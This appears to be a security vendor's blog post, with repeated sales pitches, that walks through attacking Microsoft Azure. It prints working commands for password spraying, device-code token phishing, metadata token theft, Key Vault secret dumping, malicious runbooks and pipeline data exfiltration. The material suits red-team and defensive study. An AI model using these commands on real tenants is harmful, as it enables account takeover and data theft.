Cloud adoption is accelerating faster than most security teams can keep pace with. Microsoft Azure, one of the world's most widely deployed cloud platforms, powers everything from startups to Fortune 500 enterprises. But with great adoption comes great attack surface. Understanding Azure from an attacker's perspective is no longer optional for red teamers, pentesters, or security engineers. It is the baseline.
This guide walks through Azure's fundamental components as an attacker would analyze them: the entry points, the misconfigurations, the lateral movement paths, and the privilege escalation techniques that real threat actors exploit every day.
Whether you are sharpening your offensive security skills or trying to understand what your organization's Azure environment looks like to an adversary, this is your practical starting point.
If you want professionals to do this work for you, the team at Redfox Cybersecurity offers comprehensive cloud penetration testing services tailored to Azure environments.
Before launching any assessment, an attacker maps the terrain. Azure is not a monolithic target. It is a layered ecosystem of identity systems, compute resources, storage services, networking components, and management APIs. Each layer carries its own attack vectors.
The three most commonly abused pillars in Azure attacks are:
Azure Active Directory (Entra ID) controls identity and access. It is the crown jewel. Compromise an identity with sufficient privileges and the entire tenant is yours.
Azure Resource Manager (ARM) is the management plane. Every resource in Azure is created, modified, and deleted through ARM. Attackers with ARM access can pivot, persist, and exfiltrate.
Azure Storage holds the data. Misconfigured blobs and storage accounts have led to some of the most damaging data breaches in cloud history.
Attackers begin with passive and semi-passive reconnaissance before touching any authenticated endpoint.
Microsoft exposes tenant metadata publicly. The following request requires no authentication and reveals whether a target domain is using Azure:
curl https://login.microsoftonline.com/<target-domain>/.well-known/openid-configuration
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This returns the tenant ID, which is the first piece of intelligence in any Azure engagement.
To enumerate users in a tenant without authentication, tools like AADInternals are widely used by attackers:
Import-Module AADInternals
Invoke-AADIntReconAsOutsider -DomainName targetcompany.com | Format-Table
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This reveals federated domains, authentication methods, and whether the target is using Seamless SSO or ADFS, all of which impact the attack path.
Azure resources often expose themselves through predictable naming conventions. Attackers use tools like MicroBurst to identify exposed Azure services:
Import-Module MicroBurst.psm1
Invoke-EnumerateAzureSubDomains -Base targetcompany -Verbose
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This brute-forces Azure-specific subdomains such as targetcompany.blob.core.windows.net, targetcompany.azurewebsites.net, and targetcompany.vault.azure.net. Each hit is a potential entry point.
Azure AD is accessible from the internet by design. This means any attacker can attempt authentication against it. Password spraying (trying one common password across many accounts) is a primary technique because it avoids lockouts.
Using MSOLSpray:
Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2024! -Verbose
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A well-crafted user list combined with seasonal or company-name-based passwords yields surprising success rates against organizations without MFA enforced on all accounts.
The Device Code Phishing attack is one of the most effective initial access techniques against Azure environments. It abuses a legitimate OAuth flow to steal tokens without ever knowing the victim's password.
Using TokenTactics or AADInternals:
$response = Invoke-AADIntDeviceCodeFlow -Resource "https://graph.microsoft.com"
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The attacker sends the device code URL to the victim. Once they authenticate, the attacker receives a valid access token and refresh token, granting persistent access to Microsoft Graph and all connected services.
This is exactly the type of attack scenario that Redfox Cybersecurity simulates during adversary simulation engagements. Understanding whether your environment is vulnerable to token theft is critical.
Once an attacker has a valid token or credentials, the real work begins.
az login --use-device-code
az account list --output table
az account set --subscription "<subscription-id>"
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From here, an attacker enumerates everything accessible under the compromised identity:
az resource list --output table
az role assignment list --all --output table
az vm list --output table
az storage account list --output table
az keyvault list --output table
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Each command reveals a new layer of accessible resources. Key Vaults containing secrets, virtual machines with managed identities, and storage accounts with sensitive data are the primary targets.
If the compromised account has Key Vault Secrets User or Key Vault Reader permissions:
az keyvault secret list --vault-name <vault-name>
az keyvault secret show --name <secret-name> --vault-name <vault-name>
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Key Vaults routinely contain database connection strings, API keys, service principal credentials, and certificate private keys. A single Key Vault access can cascade into a full environment compromise.
Managed identities are Azure AD identities assigned directly to compute resources like virtual machines and function apps. They are intended to eliminate the need for hardcoded credentials, but attackers who compromise a compute resource can abuse the managed identity to escalate privileges.
From inside an Azure VM:
curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com%2F' -H Metadata:true
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This returns an access token for Azure Resource Manager scoped to whatever roles the managed identity holds. If the VM's managed identity has Contributor or Owner role on a subscription, the attacker now controls the entire subscription through that token.
Automation Accounts often run as high-privileged identities (service principals or managed identities) and are frequently overlooked during hardening. An attacker with Contributor access can inject a malicious runbook:
# Attacker creates a new runbook to extract credentials
New-AzAutomationRunbook -Name "EvilRunbook" -Type PowerShell -ResourceGroupName "TargetRG" -AutomationAccountName "TargetAutomation"
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The runbook executes in the context of the Automation Account's identity, potentially dumping all credentials stored in the account's credential assets.
This is a nuanced attack path that many organizations are blind to. Redfox Cybersecurity's penetration testing services include Automation Account abuse scenarios as part of Azure-specific assessments.
Organizations frequently have multiple Azure subscriptions under a single tenant. An attacker who compromises a service principal or user account that has roles across subscriptions can pivot freely:
az account list
az account set --subscription "<another-subscription-id>"
az resource list --output table
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This cross-subscription lateral movement is often invisible to SOC teams that monitor only their primary subscription.
Service principals are non-human identities used by applications and automation. They are often granted overly broad permissions and their credentials (client secrets or certificates) are frequently stored in insecure locations.
Using PowerZure to enumerate service principals:
Import-Module PowerZure.ps1
Get-AzureServicePrincipal
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Once a service principal's credentials are obtained, an attacker can authenticate as that principal and inherit all of its permissions:
az login --service-principal -u <app-id> -p <client-secret> --tenant <tenant-id>
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Azure Blob Storage containers set to public access are a persistent misconfiguration problem. Attackers enumerate and access these without any credentials:
az storage blob list --account-name <storage-account> --container-name <container> --output table
az storage blob download --account-name <storage-account> --container-name <container> --name <blob-name> --file ./loot.txt
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Tools like BlobHunter and Trufflehog are used to scan public blobs for secrets, credentials, and sensitive data at scale.
Azure Data Factory (ADF) is used for data integration and ETL workflows. Attackers with access to ADF can exfiltrate data by creating pipelines that copy data from internal sources to attacker-controlled external storage:
{
"name": "ExfilPipeline",
"type": "Copy",
"source": { "type": "AzureSqlSource" },
"sink": { "type": "AzureBlobStorageSink", "writeBatchSize": 10000 }
}
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This is stealthy because data movement through ADF often blends with legitimate business workflows and does not trigger traditional security alerts.
Understanding what attackers target helps defenders prioritize. The most commonly exploited misconfigurations in Azure environments include:
If any of these sound familiar in your environment, it is time to call in professionals. Redfox Cybersecurity's penetration testing team specializes in identifying and exploiting these exact misconfigurations before real attackers do.
An attacker's perspective is only valuable when it drives defensive action. Key hardening steps based on the attack paths above:
allowBlobPublicAccess property should be set to false on all storage accounts unless there is an explicit, documented business justification.Reading about attack techniques is educational. Knowing your own environment is actually vulnerable to them is a different matter entirely.
Azure penetration testing is a structured assessment where security professionals simulate real-world attacker behavior against your Azure tenant, subscriptions, and workloads. The output is not a generic compliance checklist. It is a prioritized, evidence-based report of what an attacker would actually find and do in your environment.
Redfox Cybersecurity conducts thorough Azure cloud penetration testing engagements that cover the full attack chain: from external reconnaissance and initial access through privilege escalation, lateral movement, and data exfiltration. The team uses the same tools, techniques, and procedures documented in this post, along with proprietary methodologies developed through years of real-world offensive security work.
If your organization runs workloads on Azure and has not conducted a cloud-specific penetration test in the last twelve months, the window of exposure is real. Engage the Redfox Cybersecurity team today to find out what attackers would find before they do.
Azure is a powerful platform, and its security model is sophisticated when configured correctly. The problem is that "configured correctly" is harder than it sounds at scale. Every new resource deployed, every new developer onboarded, every new service principal created is an opportunity for a misconfiguration that an attacker can turn into a foothold.
The attacker's approach covered here is not theoretical. These tools, commands, and techniques are documented in real incident reports and red team after-action reviews. The gap between a secure Azure environment and a compromised one is often a single overprivileged identity, one public blob container, or one missing Conditional Access policy.
Security teams that think like attackers build better defenses. Organizations that bring in external red teams get an unfiltered view of their actual risk, not their assumed risk.
Take the next step toward securing your Azure environment. The penetration testing and cloud security services at Redfox Cybersecurity are built for exactly this challenge.
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